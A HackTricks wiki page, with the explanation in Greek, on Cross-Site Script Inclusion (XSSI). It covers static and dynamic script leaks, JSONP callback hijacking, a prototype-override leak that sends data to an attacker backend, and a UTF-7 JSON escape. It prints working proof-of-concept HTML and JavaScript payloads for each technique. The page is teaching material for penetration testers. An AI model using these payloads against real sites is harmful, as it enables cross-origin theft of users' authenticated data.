hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

99 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XSSI (Cross-Site Script Inclusion)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**Cross-Site Script Inclusion (XSSI)** είναι μια ευπάθεια που προκύπτει από τη φύση της ετικέτας `script` στο HTML. Σε αντίθεση με τους περισσότερους πόρους, οι οποίοι υπόκεινται στην **Same-Origin Policy (SOP)**, τα σενάρια μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η συμπεριφορά προορίζεται να διευκολύνει τη χρήση βιβλιοθηκών και άλλων πόρων που φιλοξενούνται σε διαφορετικούς διακομιστές, αλλά εισάγει επίσης έναν πιθανό κίνδυνο ασφάλειας.
### Key Characteristics of **XSSI**:
- **Bypass of SOP**: Τα σενάρια εξαιρούνται από την **Same-Origin Policy**, επιτρέποντάς τους να συμπεριλαμβάνονται σε διαφορετικά domains.
- **Data Exposure**: Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να διαβάσει δεδομένα που φορτώνονται μέσω της ετικέτας `script`.
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** είναι ιδιαίτερα σχετικό για δυναμικό JavaScript ή **JSON with Padding (JSONP)**. Αυτές οι τεχνολογίες συχνά χρησιμοποιούν πληροφορίες "ambient-authority" (όπως cookies) για την αυθεντικοποίηση. Όταν γίνεται αίτημα σενάριου σε διαφορετικό host, αυτά τα διαπιστευτήρια (π.χ. cookies) περιλαμβάνονται αυτόματα στο αίτημα.
- **Authentication Token Leakage**: Εάν ένας επιτιθέμενος μπορεί να παραπλανήσει τον περιηγητή ενός χρήστη να ζητήσει ένα σενάριο από έναν διακομιστή που ελέγχει, μπορεί να έχει πρόσβαση σε ευαίσθητες πληροφορίες που περιέχονται σε αυτά τα αιτήματα.
### Types
1. **Static JavaScript** - Αυτό αντιπροσωπεύει τη συμβατική μορφή του XSSI.
2. **Static JavaScript with Authentication** - Αυτός ο τύπος είναι ξεχωριστός επειδή απαιτεί αυθεντικοποίηση για πρόσβαση.
3. **Dynamic JavaScript** - Περιλαμβάνει JavaScript που δημιουργεί δυναμικά περιεχόμενο.
4. **Non-JavaScript** - Αναφέρεται σε ευπάθειες που δεν περιλαμβάνουν άμεσα JavaScript.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
### Regular XSSI
Σε αυτή την προσέγγιση, ιδιωτικές πληροφορίες είναι ενσωματωμένες μέσα σε ένα παγκοσμίως προσβάσιμο αρχείο JavaScript. Οι επιτιθέμενοι μπορούν να εντοπίσουν αυτά τα αρχεία χρησιμοποιώντας μεθόδους όπως η ανάγνωση αρχείων, οι αναζητήσεις λέξεων-κλειδιών ή οι κανονικές εκφράσεις. Μόλις εντοπιστούν, το σενάριο που περιέχει ιδιωτικές πληροφορίες μπορεί να συμπεριληφθεί σε κακόβουλο περιεχόμενο, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα. Ένα παράδειγμα τεχνικής εκμετάλλευσης φαίνεται παρακάτω:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Αυτοί οι τύποι επιθέσεων XSSI περιλαμβάνουν εμπιστευτικές πληροφορίες που προστίθενται δυναμικά στο σενάριο ως απάντηση σε αίτημα χρήστη. Η ανίχνευση μπορεί να πραγματοποιηθεί στέλνοντας αιτήματα με και χωρίς cookies και συγκρίνοντας τις απαντήσεις. Εάν οι πληροφορίες διαφέρουν, αυτό μπορεί να υποδηλώνει την παρουσία εμπιστευτικών πληροφοριών. Αυτή η διαδικασία μπορεί να αυτοματοποιηθεί χρησιμοποιώντας εργαλεία όπως το [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp extension.
Εάν τα εμπιστευτικά δεδομένα αποθηκεύονται σε μια παγκόσμια μεταβλητή, μπορούν να εκμεταλλευτούν χρησιμοποιώντας παρόμοιες μεθόδους με αυτές που χρησιμοποιούνται στο Regular XSSI. Ωστόσο, εάν τα εμπιστευτικά δεδομένα περιλαμβάνονται σε μια απάντηση JSONP, οι επιτιθέμενοι μπορούν να καταλάβουν τη συνάρτηση callback για να ανακτήσουν τις πληροφορίες. Αυτό μπορεί να γίνει είτε με την παραποίηση παγκόσμιων αντικειμένων είτε με την εγκατάσταση μιας συνάρτησης που θα εκτελείται από την απάντηση JSONP, όπως φαίνεται παρακάτω:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Για μεταβλητές που δεν βρίσκονται στο παγκόσμιο namespace, η *τροποποίηση πρωτοτύπου* μπορεί μερικές φορές να εκμεταλλευτεί. Αυτή η τεχνική εκμεταλλεύεται το σχεδιασμό της JavaScript, όπου η ερμηνεία του κώδικα περιλαμβάνει την περιήγηση στην αλυσίδα πρωτοτύπων για να εντοπιστεί η καλούμενη ιδιότητα. Με την αντικατάσταση ορισμένων συναρτήσεων, όπως το `slice` του `Array`, οι επιτιθέμενοι μπορούν να αποκτήσουν πρόσβαση και να διαρρεύσουν μη παγκόσμιες μεταβλητές:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Περισσότερες λεπτομέρειες σχετικά με τα επιθετικά διανύσματα μπορούν να βρεθούν στο έργο του Ερευνητή Ασφαλείας [Sebastian Lekies](https://twitter.com/slekies), ο οποίος διατηρεί μια λίστα με [διανύσματα](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
Η έρευνα του Takeshi Terada εισάγει μια άλλη μορφή XSSI, όπου τα αρχεία Non-Script, όπως το CSV, διαρρέουν διασυνοριακά περιλαμβάνοντας τα ως πηγές σε μια ετικέτα `script`. Ιστορικές περιπτώσεις XSSI, όπως η επίθεση του Jeremiah Grossman το 2006 για την ανάγνωση ενός πλήρους βιβλίου διευθύνσεων Google και η διαρροή δεδομένων JSON του Joe Walker το 2007, αναδεικνύουν τη σοβαρότητα αυτών των απειλών. Επιπλέον, ο Gareth Heyes περιγράφει μια παραλλαγή επίθεσης που περιλαμβάνει κωδικοποιημένα σε UTF-7 JSON για να ξεφύγει από τη μορφή JSON και να εκτελέσει σενάρια, αποτελεσματική σε ορισμένους περιηγητές:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}